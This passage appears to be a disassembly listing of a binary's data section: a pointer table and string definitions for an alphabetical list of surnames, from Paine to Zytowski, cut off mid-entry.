"Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .data:0042EF28o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .data:0042EF24o align 10h aZurn db 'Zurn',0 ; DATA XREF: .data:0042EF20o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .data:0042EF1Co aZoldak db 'Zoldak',0 ; DATA XREF: .data:0042EF18o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .data:0042EF14o aZegans db 'Zegans',0 ; DATA XREF: .data:0042EF10o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: .data:0042EF0Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: .data:0042EF08o align 4 aZachary db 'Zachary',0 ; DATA XREF: .data:0042EF04o aYu db 'Yu',0 ; DATA XREF: .data:0042EF00o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0042EEFCo align 4 aYoo db 'Yoo',0 ; DATA XREF: .data:0042EEF8o aYoffe db 'Yoffe',0 ; DATA XREF: .data:0042EEF4o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: .data:0042EEF0o align 4 aYesson db 'Yesson',0 ; DATA XREF: .data:0042EEECo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: .data:0042EEE8o aYbarra db 'Ybarra',0 ; DATA XREF: .data:0042EEE4o align 10h aYates db 'Yates',0 ; DATA XREF: .data:0042EEE0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0042EEDCo aYankee db 'Yankee',0 ; DATA XREF: .data:0042EED8o align 4 aYamane db 'Yamane',0 ; DATA XREF: .data:0042EED4o align 10h aYacono db 'Yacono',0 ; DATA XREF: .data:0042EED0o align 4 aVotey db 'Votey',0 ; DATA XREF: .data:0042EECCo align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:0042EEC8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0042EEC4o align 4 aWoods db 'Woods',0 ; DATA XREF: .data:0042EEC0o align 10h aWooden db 'Wooden',0 ; DATA XREF: .data:0042EEBCo align 4 aWoo db 'Woo',0 ; DATA XREF: .data:0042EEB8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0042EEB4o align 4 aWolk db 'Wolk',0 ; DATA XREF: .data:0042EEB0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: .data:0042EEACo align 4 aViviani db 'Viviani',0 ; DATA XREF: .data:0042EEA8o aVitali db 'Vitali',0 ; DATA XREF: .data:0042EEA4o align 4 aWilson db 'Wilson',0 ; DATA XREF: .data:0042EEA0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0042EE9Co aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0042EE98o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0042EE94o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .data:0042EE90o align 4 aWilk db 'Wilk',0 ; DATA XREF: .data:0042EE8Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0042EE88o aWilder db 'Wilder',0 ; DATA XREF: .data:0042EE84o align 4 aVignola db 'Vignola',0 ; DATA XREF: .data:0042EE80o aViens db 'Viens',0 ; DATA XREF: .data:0042EE7Co align 4 aWiener db 'Wiener',0 ; DATA XREF: .data:0042EE78o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0042EE74o aViano db 'Viano',0 ; DATA XREF: .data:0042EE70o align 10h aViana db 'Viana',0 ; DATA XREF: .data:0042EE6Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0042EE68o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .data:0042EE64o align 4 aWhite db 'White',0 ; DATA XREF: .data:0042EE60o align 4 aWhilton db 'Whilton',0 ; DATA XREF: .data:0042EE5Co aWhately db 'Whately',0 ; DATA XREF: .data:0042EE58o aWetzel db 'Wetzel',0 ; DATA XREF: .data:0042EE54o align 4 aWescott db 'Wescott',0 ; DATA XREF: .data:0042EE50o aVerghese db 'Verghese',0 ; DATA XREF: .data:0042EE4Co align 10h aVenne db 'Venne',0 ; DATA XREF: .data:0042EE48o align 4 aWengret db 'Wengret',0 ; DATA XREF: .data:0042EE44o aWelsh db 'Welsh',0 ; DATA XREF: .data:0042EE40o align 4 aWelles db 'Welles',0 ; DATA XREF: .data:0042EE3Co align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0042EE38o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .data:0042EE34o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0042EE30o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0042EE2Co align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0042EE28o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .data:0042EE24o align 4 aWaugh db 'Waugh',0 ; DATA XREF: .data:0042EE20o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: .data:0042EE1Co aWasowska db 'Wasowska',0 ; DATA XREF: .data:0042EE18o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0042EE14o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0042EE10o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0042EE0Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0042EE08o aVanallen db 'vanAllen',0 ; DATA XREF: .data:0042EE04o align 10h aWalter db 'Walter',0 ; DATA XREF: .data:0042EE00o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0042EDFCo align 4 aWales db 'Wales',0 ; DATA XREF: .data:0042EDF8o align 4 aValencia db 'Valencia',0 ; DATA XREF: .data:0042EDF4o align 4 aValberg db 'Valberg',0 ; DATA XREF: .data:0042EDF0o aWaite db 'Waite',0 ; DATA XREF: .data:0042EDECo align 4 aVacca db 'Vacca',0 ; DATA XREF: .data:0042EDE8o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: .data:0042EDE4o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .data:0042EDE0o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0042EDDCo align 10h aUrban db 'Urban',0 ; DATA XREF: .data:0042EDD8o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0042EDD4o aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0042EDD0o align 4 aUllman db 'Ullman',0 ; DATA XREF: .data:0042EDCCo align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0042EDC8o align 10h aTwells db 'Twells',0 ; DATA XREF: .data:0042EDC4o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .data:0042EDC0o align 10h aTurek db 'Turek',0 ; DATA XREF: .data:0042EDBCo align 4 aTurano db 'Turano',0 ; DATA XREF: .data:0042EDB8o align 10h aTukan db 'Tukan',0 ; DATA XREF: .data:0042EDB4o align 4 aTudge db 'Tudge',0 ; DATA XREF: .data:0042EDB0o align 10h aTuck db 'Tuck',0 ; DATA XREF: .data:0042EDACo align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0042EDA8o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: .data:0042EDA4o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0042EDA0o aTruss db 'Truss',0 ; DATA XREF: .data:0042ED9Co align 10h aTroy db 'Troy',0 ; DATA XREF: .data:0042ED98o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .data:0042ED94o aTringali db 'Tringali',0 ; DATA XREF: .data:0042ED90o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .data:0042ED8Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: .data:0042ED88o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .data:0042ED84o align 4 aToye db 'Toye',0 ; DATA XREF: .data:0042ED80o align 10h aTowler db 'Towler',0 ; DATA XREF: .data:0042ED7Co align 4 aTorske db 'Torske',0 ; DATA XREF: .data:0042ED78o align 10h aTorresi db 'Torresi',0 ; DATA XREF: .data:0042ED74o aTopulos db 'Topulos',0 ; DATA XREF: .data:0042ED70o aToomer db 'Toomer',0 ; DATA XREF: .data:0042ED6Co align 4 aTomford db 'Tomford',0 ; DATA XREF: .data:0042ED68o aTolman db 'Tolman',0 ; DATA XREF: .data:0042ED64o align 4 aTolls db 'Tolls',0 ; DATA XREF: .data:0042ED60o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0042ED5Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .data:0042ED58o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .data:0042ED54o aTill db 'Till',0 ; DATA XREF: .data:0042ED50o align 4 aTierney db 'Tierney',0 ; DATA XREF: .data:0042ED4Co aThroop db 'Throop',0 ; DATA XREF: .data:0042ED48o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: .data:0042ED44o aThisted db 'Thisted',0 ; DATA XREF: .data:0042ED40o aThibault db 'Thibault',0 ; DATA XREF: .data:0042ED3Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: .data:0042ED38o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0042ED34o align 4 aThan db 'Than',0 ; DATA XREF: .data:0042ED30o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .data:0042ED2Co align 10h aTenney db 'Tenney',0 ; DATA XREF: .data:0042ED28o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .data:0042ED24o align 10h aTemes db 'Temes',0 ; DATA XREF: .data:0042ED20o align 4 aTeague db 'Teague',0 ; DATA XREF: .data:0042ED1Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0042ED18o align 4 aTawn db 'Tawn',0 ; DATA XREF: .data:0042ED14o align 4 aTaveras db 'Taveras',0 ; DATA XREF: .data:0042ED10o aTatar db 'Tatar',0 ; DATA XREF: .data:0042ED0Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0042ED08o align 10h aTandler db 'Tandler',0 ; DATA XREF: .data:0042ED04o aTambiah db 'Tambiah',0 ; DATA XREF: .data:0042ED00o aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0042ECFCo align 4 aTai db 'Tai',0 ; DATA XREF: .data:0042ECF8o aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0042ECF4o aSwindle db 'Swindle',0 ; DATA XREF: .data:0042ECF0o aSweetser db 'Sweetser',0 ; DATA XREF: .data:0042ECECo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .data:0042ECE8o align 4 aSurdam db 'Surdam',0 ; DATA XREF: .data:0042ECE4o align 10h aSuo db 'Suo',0 ; DATA XREF: .data:0042ECE0o aSumner db 'Sumner',0 ; DATA XREF: .data:0042ECDCo align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .data:0042ECD8o align 4 aStringer db 'Stringer',0 ; DATA XREF: .data:0042ECD4o align 4 aStreiff db 'Streiff',0 ; DATA XREF: .data:0042ECD0o aStrauch db 'Strauch',0 ; DATA XREF: .data:0042ECCCo aStrange db 'Strange',0 ; DATA XREF: .data:0042ECC8o aStott db 'Stott',0 ; DATA XREF: .data:0042ECC4o align 4 aStorer db 'Storer',0 ; DATA XREF: .data:0042ECC0o align 4 aStonich db 'Stonich',0 ; DATA XREF: .data:0042ECBCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0042ECB8o aStockwell db 'Stockwell',0 ; DATA XREF: .data:0042ECB4o align 4 aStockton db 'Stockton',0 ; DATA XREF: .data:0042ECB0o align 4 aStock db 'Stock',0 ; DATA XREF: .data:0042ECACo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: .data:0042ECA8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .data:0042ECA4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0042ECA0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0042EC9Co aStephanian db 'Stephanian',0 ; DATA XREF: .data:0042EC98o align 10h aSteiner db 'Steiner',0 ; DATA XREF: .data:0042EC94o aStefani db 'Stefani',0 ; DATA XREF: .data:0042EC90o aStatlender db 'Statlender',0 ; DATA XREF: .data:0042EC8Co align 4 aStates db 'States',0 ; DATA XREF: .data:0042EC88o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0042EC84o align 4 aStang db 'Stang',0 ; DATA XREF: .data:0042EC80o align 4 aStam db 'Stam',0 ; DATA XREF: .data:0042EC7Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .data:0042EC78o aStmartin db 'StMartin',0 ; DATA XREF: .data:0042EC74o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0042EC70o aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0042EC6Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0042EC68o align 4 aSpicer db 'Spicer',0 ; DATA XREF: .data:0042EC64o align 4 aSperber db 'Sperber',0 ; DATA XREF: .data:0042EC60o aSpence db 'Spence',0 ; DATA XREF: .data:0042EC5Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .data:0042EC58o aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0042EC54o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: .data:0042EC50o aSpanier db 'Spanier',0 ; DATA XREF: .data:0042EC4Co aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0042EC48o align 4 aSoule db 'Soule',0 ; DATA XREF: .data:0042EC44o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .data:0042EC40o align 4 aSottak db 'Sottak',0 ; DATA XREF: .data:0042EC3Co align 4 aSorg db 'Sorg',0 ; DATA XREF: .data:0042EC38o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .data:0042EC34o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: .data:0042EC30o align 4 aSomers db 'Somers',0 ; DATA XREF: .data:0042EC2Co align 4 aSolon db 'Solon',0 ; DATA XREF: .data:0042EC28o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .data:0042EC24o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0042EC20o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: .data:0042EC1Co aSmilow db 'Smilow',0 ; DATA XREF: .data:0042EC18o align 10h aSlowe db 'Slowe',0 ; DATA XREF: .data:0042EC14o align 4 aSloan db 'Sloan',0 ; DATA XREF: .data:0042EC10o align 10h aSkoda db 'Skoda',0 ; DATA XREF: .data:0042EC0Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: .data:0042EC08o align 10h aSkane db 'Skane',0 ; DATA XREF: .data:0042EC04o align 4 aSites db 'Sites',0 ; DATA XREF: .data:0042EC00o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: .data:0042EBFCo aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0042EBF8o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0042EBF4o align 10h aSilverman db 'Silverman',0 ; DATA XREF: .data:0042EBF0o align 4 aSigna db 'Signa',0 ; DATA XREF: .data:0042EBECo align 4 aSigini db 'Sigini',0 ; DATA XREF: .data:0042EBE8o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .data:0042EBE4o aSiesto db 'Siesto',0 ; DATA XREF: .data:0042EBE0o align 4 aShimon db 'Shimon',0 ; DATA XREF: .data:0042EBDCo align 4 aShibata db 'Shibata',0 ; DATA XREF: .data:0042EBD8o aShia db 'Shia',0 ; DATA XREF: .data:0042EBD4o align 4 aShesko db 'Shesko',0 ; DATA XREF: .data:0042EBD0o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .data:0042EBCCo align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .data:0042EBC8o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .data:0042EBC4o align 10h aSheats db 'Sheats',0 ; DATA XREF: .data:0042EBC0o align 4 aShea db 'Shea',0 ; DATA XREF: .data:0042EBBCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: .data:0042EBB8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .data:0042EBB4o aShar db 'Shar',0 ; DATA XREF: .data:0042EBB0o align 4 aShanley db 'Shanley',0 ; DATA XREF: .data:0042EBACo aShankland db 'Shankland',0 ; DATA XREF: .data:0042EBA8o align 10h aShakis db 'Shakis',0 ; DATA XREF: .data:0042EBA4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: .data:0042EBA0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0042EB9Co aSexton db 'Sexton',0 ; DATA XREF: .data:0042EB98o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0042EB94o align 4 aSennett db 'Sennett',0 ; DATA XREF: .data:0042EB90o aSen db 'Sen',0 ; DATA XREF: .data:0042EB8Co aSelvage db 'Selvage',0 ; DATA XREF: .data:0042EB88o aSekler db 'Sekler',0 ; DATA XREF: .data:0042EB84o align 4 aSegal db 'Segal',0 ; DATA XREF: .data:0042EB80o align 10h aSeeber db 'Seeber',0 ; DATA XREF: .data:0042EB7Co align 4 aSeaton db 